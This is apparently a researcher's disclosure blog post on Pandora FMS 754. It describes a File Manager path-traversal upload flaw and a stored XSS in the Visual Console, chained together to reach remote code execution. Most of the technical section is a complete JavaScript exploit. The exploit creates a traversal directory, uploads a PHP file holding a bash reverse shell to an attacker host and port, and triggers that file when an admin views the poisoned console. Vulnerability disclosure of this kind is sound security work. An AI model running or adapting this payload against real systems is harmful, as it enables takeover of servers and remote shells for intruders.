Home

Pandora FMS 754 - Stored XSS and Remote Code Execution

#pandorafms #hacking #exploit #xss #rce #cve #chainedexploit #kpmghungary

Last Modified: 2021.06.25.

The story

Because of my work, I ran into Monitoring Systems again. I read some comparisons and PandoraFMS is becoming more popular. Heated with a desire for adventure, I downloaded the latest version and started fiddling. It’s changed quite a bit since I didn’t deal with it. The last time I found PHP file upload vulnerability via the File Manager and I was curious.

I started with a Black Box approach and I found a bug in the File Manager. I was soon able to upload and execute my PHP file. I decided to find a stored XSS vulnerability with a low-level user. The idea was to chain the vulnerabilities and obtain a shell via JavaScript.

Disclosure Timeline

I would like to thank the Pandora FMS team who quickly released a patch version 755 after my reports.

Technical Details

The Environement

  1. Download the latest offline installer (Local on-premise installation - Community Edition) from the PandoraFMS homepage.
  2. Create a virtual machine.
  3. Install it with the default settings.
1

The File Manager bug

The File Manager is a simple admin feature. It is possible to:

  1. create or delete folders
  2. delete files
  3. create empty files
  4. upload files
2

It is allowed to upload PHP files, but the uploaded files are not executed it gave back the content of the file:

3

The default folder permissions and the newly created folder permissions are good. The files of the "/pandorafms_console/" are visible from outside, but normally it is not possible to Upload anything there. The root directory from the File Manager's point of view is the images directory.

4

The bug is simple, relative path can be used as a directory name. Based on the configuration it is possible to go one level up only.

5 6

The newly created folder has the following permissions:

7 8

The next step was to upload the file to my newly-created directory. With Burp it was easy to modify the outgoing requests, the relevant part marked with red:

9

The uploaded PHP file can be executed with a browser:

10

Stored XSS

I was looking for a stored XSS vulnerability that could be exploited by a lower-level user. I made a lower-level user and I found one at the Visual Console:

11 12 13

Chained exploit

21
  1. The attacker (low-privilege user) creates a new visual console, with the XSS payload. The attacker IP address is 192.168.0.11 in this example:
  2. 12
  3. The attacker prepares a webserver to host the malicious JavaScript file:
  4. 14
  5. The attacker starts a Netcat listener:
  6. 15
  7. The admin checks the malicious visual console and it automatically triggers the XSS.
  8. 17
  9. The JavaScript payload executed and it uploads and executes the PHP file:
  10. 18

JavaScript Payload


//////////////////////////////////////////////
// Author: k4m1ll0 (matek.kamillo@gmail.com)
// Date: 2021.06.01.
// Pandora FMS 754 XSS + RCE chained exploit
/////////////////////////////////////////////
var xhr = new XMLHttpRequest();
//var base = "https://192.168.0.50";
var base = "http://192.168.0.50";

var url = base + "/pandora_console/index.php?sec=gextensions&sec2=godmode/setup/file_manager";
xhr.open("GET",url,false);
xhr.send();
payload="dirname=..%2FK44&crt=Create&directory=images&create_dir=1&hash=3976ae502982bca85302c6766fc340ec&hash2=3976ae502982bca85302c6766fc340ec";
var url2 = base + "/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager";
xhr.open("POST", url2, false);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer",url2);
xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
xhr.send(payload);

var url2 = base + "/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager";
var data = "";
var boundary = "-----------------------------413448548441350781883843751691"

data += '--' + boundary + "\r\n";
data += 'Content-Disposition: form-data; name="file"; filename="k44.php"'+ '\n';
data += 'Content-Type: text/php';data += '\r\n';
data += '\r\n';
data += "<?php system('bash -i >& /dev/tcp/192.168.0.141/2000 0>&1'); ?>"; 
data += '\n';
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="umask"' + '\n';
data += '\r\n';
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="decompress_sent"' + '\n';
data += '\r\n';
data += "1";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="go"' + '\n';
data += '\r\n';
data += "Go";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="real_directory"' + '\n';
data += '\r\n';
data += "/var/www/html/pandora_console/images/../K44";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="directory"' + '\n';
data += '\r\n';
data += "images/../K44";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="hash"' + '\n';
data += '\r\n';
data += "1";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="hash2"' + '\n';
data += '\r\n';
data += "1";
data += '\r\n';
data += '--' + boundary + '\r\n';

data += 'Content-Disposition: form-data; name="upload_file_or_zip"' + '\n';
data += '\r\n';
data += "1";
data += '\r\n';
data += '--' + boundary + '--' + '\r\n';

xhr.open("POST", url2, false);
xhr.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary );
xhr.setRequestHeader("Referer", base + "/pandora_console/index.php?sec=gextensions&sec2=godmode/setup/file_manager");
xhr.setRequestHeader("Upgrade-Insecure-Requests","1");
xhr.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
xhr.send(data);

xhr.open("GET", base + "/pandora_console/K44/k44.php");
xhr.send();

Video Content

Demo Video - HTTPS (short)

For a successful attack, an HTTPS server is necessary to host the JavaScript payload and the BASE variable must be changed to HTTPS.

For demonstration, I used my website which has a not self-signed certificate.

Demo Video - HTTP (long)

Note: The hash and hash2 values can be anything.

© 2019-2021 Kamilló Matek All Rights Reserved